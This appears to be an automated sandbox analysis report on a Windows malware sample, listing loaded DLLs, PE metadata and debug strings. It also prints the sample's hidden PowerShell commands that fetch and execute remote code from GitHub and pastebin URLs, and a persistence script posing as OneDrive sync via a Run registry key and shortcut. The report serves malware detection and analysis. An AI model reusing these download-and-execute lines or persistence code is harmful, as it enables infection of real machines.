Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll

Source: BeginSync.lnk.2.dr

LNK file: ..\..\..\Windows\System32\forfiles.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: xK44OOt7vD.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: xK44OOt7vD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: xK44OOt7vD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: xK44OOt7vD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: xK44OOt7vD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: xK44OOt7vD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: xK44OOt7vD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: xK44OOt7vD.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: xK44OOt7vD.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb' source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 0000000D.00000002.2703961662.00000205B6810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb4e089 source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb~ source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb34e089x_e source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbQv source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.Management.Automation.pdb" source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll"( source: powershell.exe, 00000012.00000002.2763903950.00000127619CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbmey source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbD source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbll source: powershell.exe, 0000000D.00000002.2703961662.00000205B6810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb^v source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2703961662.00000205B6770000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764383354.0000012761A14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Programming1\Cpscommand\x64\Release\Cpscommand.pdb source: xK44OOt7vD.exe
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6A92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbGv source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbows\ source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb; source: powershell.exe, 0000000D.00000002.2705160657.00000205B6A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2794282634.0000012779D15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb) source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp

Source: xK44OOt7vD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: xK44OOt7vD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: xK44OOt7vD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: xK44OOt7vD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: xK44OOt7vD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: Stand_Trainer_Updated.exe.2.dr

Static PE information: 0xEDF7F89D [Fri Jul 6 22:13:49 2096 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline"			Jump to behavior

Source: xK44OOt7vD.exe

Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848A50540 push eax; retf	13_2_00007FF848A505FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848A50625 push eax; retf	13_2_00007FF848A505FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848B26DC3 push edi; iretd	13_2_00007FF848B26DC6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848B2A08D pushad ; retf	13_2_00007FF848B2A0B1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848B2A0B3 pushad ; retf	13_2_00007FF848B2A0B1

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Backend.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Jump to dropped file

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive File Sync" -Value '"C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"' -PropertyType String -Forcemkdir "C:\ProgramData\Microsoft OneDrive\FileSync";$savedbytes = (76,0,0,0,1,20,2,0,0,0,0,0,192,0,0,0,0,0,0,70,171,0,8,0,32,0,0,0,124,37,104,27,210,97,216,1,203,131,156,28,20,3,219,1,124,37,104,27,210,97,216,1,0,16,1,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,69,1,20,0,31,80,224,79,208,32,234,58,105,16,162,216,8,0,43,48,48,157,25,0,47,67,58,92,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,86,0,49,0,0,0,0,0,23,89,186,133,48,0,87,105,110,100,111,119,115,0,64,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,76,95,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,173,33,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,0,0,24,0,102,0,50,0,0,16,1,0,167,84,130,42,32,0,102,111,114,102,105,108,101,115,46,101,120,101,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,0,0,0,85,0,0,0,24,0,0,0,3,0,0,0,96,56,18,250,16,0,0,0,87,105,110,100,111,119,115,0,67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,102,111,114,102,105,108,101,115,46,101,120,101,0,0,38,0,46,0,46,0,92,0,46,0,46,0,92,0,46,0,46,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,215,0,47,0,112,0,32,0,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,47,0,109,0,32,0,110,0,111,0,116,0,101,0,112,0,97,0,100,0,46,0,101,0,120,0,101,0,32,0,47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,116,0,121,0,108,0,101,0,32,0,104,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,39,0,115,0,97,0,108,0,32,0,102,0,97,0,116,0,98,0,97,0,107,0,101,0,32,0,99,0,97,0,108,0,99,0,59,0,115,0,97,0,108,0,32,0,99,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,0,97,0,115,0,116,0,101,0,98,0,105,0,110,0,46,0,99,0,111,0,109,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive File Sync" -Value '"C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"' -PropertyType String -Forcemkdir "C:\ProgramData\Microsoft OneDrive\FileSync";$savedbytes = 